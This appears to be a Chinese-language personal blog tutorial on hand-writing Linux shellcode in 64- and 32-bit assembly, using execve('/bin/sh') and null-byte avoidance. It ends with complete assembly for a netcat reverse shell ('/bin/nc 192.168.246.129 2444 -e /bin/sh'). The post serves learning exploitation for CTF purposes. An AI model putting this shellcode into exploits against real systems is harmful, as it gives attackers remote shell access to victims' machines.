构造Shellcode（水货满满）

# 前言

​ 这里先贴上 ZIKH26 师傅的 bolg 用汇编语言构造简单的 shellcode（64 位 &&32 位）以及将汇编语言转换成机器码的方法 | ZIKH26's Blog，话说真的有从这个地方入门 pwn 的吗😹，可怜的 web 手上来被 pwn 师傅劝退，这里只是在学习的过程中浅浅的记录一下，如同标题一样，水货满满😿

# Shell or Webshell？

​ 当然作为一个 web 手，说起来 shell 我第一反应还是 webshell。所以当 pwn 师傅告诉我去搓一个 shellcode 的时候，只能说我答应的很快，但是开始搓的时候，，，问题不大不，“广大青年要保持初生牛犊不怕虎的劲头，不懂就学，不会就练，没有条件就努力创造条件”。听习大大的没毛病。既然都到这了就简单说一下这三者：

1. Shell：简单来说就是一个命令行的解释器，它接受用户输入的文本命令并将其传递给操作系统内核执行 ，一般是操作系统提供给用户的一种可以控制和管理计算机的接口。
2. WebShell：它是一种以 asp，php，jsp 或者 cgi 等文件存在的一种可以进行命令执行的一种环境，这个环境中可以使用 shell，一般是在一个网站被攻陷后，被上传的一种提供远程与计算机和服务器进行交互的环境，通常是一种 web 应用程序漏洞的结果。
3. ShellCode：它通常是攻击者利用漏洞或者其他手段来注入到受害者系统中的一小段 16 进制的机器码，作用一般也是用来远程的控制计算机和服务器，和 webshell 的效果很相似，但是表现形式略有不同

在本篇中主要是来学习一下 ShellCode 的编写

# 前置知识

# 系统调用

​ 计算机各种的硬件资源都不是无限的，为了提高计算机的使用效率就需要对各种资源进行分配管理，用户进程是不允许直接操作和访问这些资源的，所有对这些资源的访问都需要再操作系统的控制下，系统调用实际上就是为用户态的进程提供的与硬件资源的交互接口。它实际上就是函数调用，不过调用的是出于内核态的系统函数

# 系统调用号

唯一标识系统调用的 ID，这个 ID 就是系统调用号如上图中再文件 /usr/include/x86_64-linux-gnu/asm/unistd_32.h 中存放的 32 为系统的调用号，当然 64 为的同样也有在 /usr/include/x86_64-linux-gnu/asm/unistd_64.h

# 系统调用表

系统调用程序 system_call 会查找系统调用表以获得系统调用号对应的系统调用并执行，详细的表看文末

# 64 位编写 shellcode

​ 基础知识这个地方其实我一直没想好该怎么写，汇编严格意义上来说也算是基础，因为本身也是初学者，所以我一直想把这些东西写的详细一点，以便我后来翻阅，但是这个并不是三言两语就能够写好的，还是要看平时的积累，这里也不在啰嗦

在这里我的目的不是诗和远方，我只需要一个代码执行或者一个命令执行的入口，这里就先搓一个 execve (“/bin/sh”,0,0)

这里想要使用这个函数，rax 要为 0x3b（这个对应的是系统调用号），三个参数分别放到寄存器的 rdi,rsi,rdx 中，这里可以翻阅文末的系统调用表，所以接下来要做的事情就比较明了了

将 0x3b 放入 rax 后通过 syscall 就可以调用到 execve 函数，然后通过给 rdi,rsi,rdx 压入值来实现调用，先看下面这段汇编

section .text
global _start
_start:
xor rsi,rsi
xor rdx,rdx  #rdx和rsi存入0
mov rax,0x68732f6e69622f  #/bin/sh存入rax
push rax
push rsp	#将rax的地址压入栈中
pop rdi
push 0x3b
pop rax
syscall

这样似乎就已经完成了一个简单的 shellcode 的编写

mov rax,0x68732f6e69622f
push rax
push rsp
pop rdi

值得注意的是，这里存入 rdi 的并不是 ascii 码，而是其对应的地址，如果这里直接

mov rdi,0x68732f6e69622f

看起来好像很合理且比上面要精简很多，但是看下面的两张图

这里张图是 “精简” 的写法

这张图是原本的写法，很显然所谓 “精简” 的写法是不能正确的执行的，这里很明显，我们需要存入 rdi 的不是 /bin/sh 对应的 ascii 码，我们要将 /bin/sh 对应的 ascii 码的地址存入 rdi

还值得注意的是 rsi 和 rdx 都需要存为 0，但是上面并没有使用 mov 来实现，而是使用了 xor，这里是一个有趣的现象，在 ZIKH26 师傅的文章中是这样解释的：

1. 避免出现 \x00 字符来截断，当然了 \x00 并不是所有情况都会截断函数，只有用 strcpy 这类函数时才会考虑 \x00 截断
2. xor rsi,rsi 比 mov rsi,0 所需的字节数更少

对于第一点可以看一下下面这个表

对于第二点，首先是使用 xor 的

然后对比一下使用 mov 的

这里就已经可以可以这个 shellcode 去拿到一个 shell 了，但是这里当我在尝试去执行 execve (“/bin/pwd”,0,0) 的时候却报错了

section .text
global _start
_start:
xor rsi,rsi
xor rdx,rdx
mov rax,0x6477702f6e69622f
push rax
push rsp
pop rdi
push 0x3b
pop rax
syscall

这里调试看一下最后函数调用的地方

看起来似乎很合理但是不能正常运行，原因同样在 ZIKH26 师傅的文章中也能找到答案，之前使用的 /bin/sh 命令是 7 个字节，程序发现了我们这个内存单元的内容不够八字节，它会自己帮我们添加一个 00 上去以来凑齐八字节，这个 00 刚好就用来声明字符串的结束，很显然这次我们使用的命令 /bin/pwd 本身就已经是 8 个字节了，我们就需要去栈中存入一个 0 来声明字符串的结束

section .text
global _start
_start:
xor rsi,rsi
xor rdx,rdx
push rdx
mov rax,0x6477702f6e69622f
push rax
push rsp
pop rdi
push 0x3b
pop rax
syscall

很显然这里就成功了

写到这里我其实还有一个疑问，如果命令长度大于 8 个字节呢？这里会放到 32 位 shellcode 后面，因为处理方式就在 32 位的记录中有答案

# 32 位编写 shellcode

如果说前面的 64 位的已经掌握，其实 32 位的 shellcode 基本相似，不过这里最后使用的系统调用不是 syscall，而是 int 0x80

第一步，就是需要将系统调用号存入 eax。

第二步，ebx 用于保存函数调用的第一个参数（ecx 存放第二个参数，edx 存放第三个参数，esi 存放第四个参数，edi 存放第五个参数）

查询系统调用表，可以看到这里 execve 的系统调用号是 11，三个参数分别使用寄存器 ebx ecx edx

section .text
global _start
_start:
xor ecx,ecx
xor edx,edx
push edx
push 0x68732f2f #/bin
push 0x6e69622f	#//sh
mov ebx,esp
push 0x0b
pop eax
int 0x80

唯一的区别是这里不能一次将所有的命令都压入栈中，而是分了两次把最上面那个的地址取出来就行了，组合起来就是连续的

# 拓展

如果这里想要执行的命令这里先尝试一下 execve (“/bin/whoami”,0,0)

很显然直接

mov rax,0x696d616f68772f6e69622f

是行不通的，但是可以参考 32 位的写法，压多次全部存到栈上

section .text
global _start
_start:
xor rsi,rsi
push rsi
mov rdx,0x696d61
push rdx
mov rdx,0x6f68772f6e69622f
push rdx
mov rdi,rsp
push 0x3b
pop rax
xor rdx,rdx
syscall

# 反弹 shell (命令执行)

上面算是最基础的用法了吧，但是前面都是没有参数的命令，下面来尝试进行反弹 shell，这里就用最常见的 nc 来测试 /bin/nc 192.168.246.129 2444 -e /bin/sh

section .text
global _start
_start:
;execve("/bin/nc",{"/bin/nc","192.168.246.129","2444","-e","/bin/sh"},0)
;636e2f6e69622f ;/bin/nc
;3932312e3634322e3836312e323931 ;192.168.246.129
;68732f6e69622f ;/bin/sh
;34343432 ;2444
;652d ;-e
xor rsi,rsi

push rsi
mov rbx,0x68732f6e69622f;/bin/sh
push rbx
push rsp
pop rbx

push rsi
mov rbp,0x652d;-e
push rbp
push rsp
pop rbp

push rsi
mov rcx,0x34343432;2444
push rcx
push rsp
pop rcx

push rsi
mov rdx,0x3932312e363432
push rdx
mov rdx,0x2e3836312e323931;ip
push rdx
push rsp
pop rdx

push rsi 
mov rdi,0x636e2f6e69622f;/bin/nc
push rdi 
push rsp
pop rdi

push rsi
push rbx
push rbp
push rcx
push rdx
push rdi
mov rsi,rsp

xor rdx,rdx
push 0x3b
pop rax
syscall

值得一提的是 execve 函数中 argv 是提供给程序的参数字符串数组，通常情况下 argv [0] 需要与第一个参数 filename 中的 basename 相同

# 系统调用表

来源

Linux system call table 정리(32bit, 64bit) (tistory.com)

# 在 64 位系统中

# 在 32 位系统中